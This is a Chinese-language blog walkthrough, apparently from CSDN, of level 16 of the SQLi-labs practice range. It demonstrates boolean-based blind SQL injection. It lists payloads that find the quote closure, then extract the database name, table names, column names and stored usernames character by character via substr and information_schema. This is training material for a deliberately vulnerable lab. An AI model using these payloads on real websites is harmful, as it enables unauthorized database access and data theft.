SQL-labs的第16关——布尔盲注

1、判断闭合方式

首先我们先确定,这个网站适合什么注入方式,我们先判断闭合方式。

输入语句

1") or 1=1 #

,返回如下页面:

说明该网站的闭合方式为")

2、确定注入方式

我们在网站中输入

1")

,返回如下页面:

我们发现它只返回错误的页面,但没有返回任何的错误信息,所以不是使用报错注入。而且这个网站没有回显,所以只能使用布尔盲注或时间盲注。但是因为输入错误信息和正确信息返回的页面不一样。所以,这次适合使用布尔盲注

3、确定数据库名的长度

我们输入语句

1") or length(database())=8 #

,返回页面如下:

这说明该网站的数据库名的长度为8。

4、爆破数据库名

我们输入语句

1") or substr((select database()),1,1)='s' #

,返回页面如下:

这说明该网站的数据库名的第一个字母是's'。接下来我么只需要改变substr函数的第二个参数,将它改成2,3,4(获得数据库名的第2,3,4个字母),然后通过该语句我么可以获得完整的数据库名。

5、获取数据表的数量

输入语句

") or (select count(table_name) from information_schema.tables where table_schema=database())=4 #

,返回页面如下:

这说明该数据库中共有4个数据表。

5、确定数据表名长度

输入语句

1") or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 #

,返回页面如下:

这说明该数据库的第一个表名的长度为6。我们可以通过修改limit 0,1中的0,来看其他表名的长度,将0改成1,2,3就可以看到第2,3,4数据表名的长度。

6、爆破数据表名

输入语句

1") or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' #

,返回页面如下:

这说明第一个数据表的名字的第一个字母是e。通过修改limit 0,1中的0可以爆破其他数据表的名字。通过修改substr(,1,1)中的第二个1将它换成2,3,4,就可以确定数据表名的第2,3,4个字母是什么了。

7、确定数据表中列的个数

输入语句

1") or (select count(column_name) from information_schema.columns where table_name='users')=18 #

,返回页面如下:

8、确定列名的长度

输入语句

1") or (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)=7#

,页面返回如下:

说明uers这个数据表的第一个列的列名的长度为7。也可以通过该方法获取其他列名的长度。

9、爆破列名

输入语句

1") or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u' #

,返回页面如下:

这说明users这数据表的第一列的列名的第一个字母是u,我们可以通过该方法或完整的列名以及其他的列名。

10、确定一个列中有多少条数据

输入语句

1") or (select count(username) from users)=13 #

,返回页面如下:

这说明users这个数据表中的username列共有13个条数据。

11、确定数据长度

输入语句

1") or (select length(username) from users limit 0,1)=4 #

,返回页面如下:

这说明users这个数据表中的username列的第一个数据的长度为4

12、爆破数据

输入语句

1") or substr((select username from users limit 0,1),1,1)='D' #

,返回页面如下:

我们由此可知第一个username数据的第一个字母是'D'。通过该方法,我么可以知道数据。

到此打靶结束。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hacker-小胖锅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值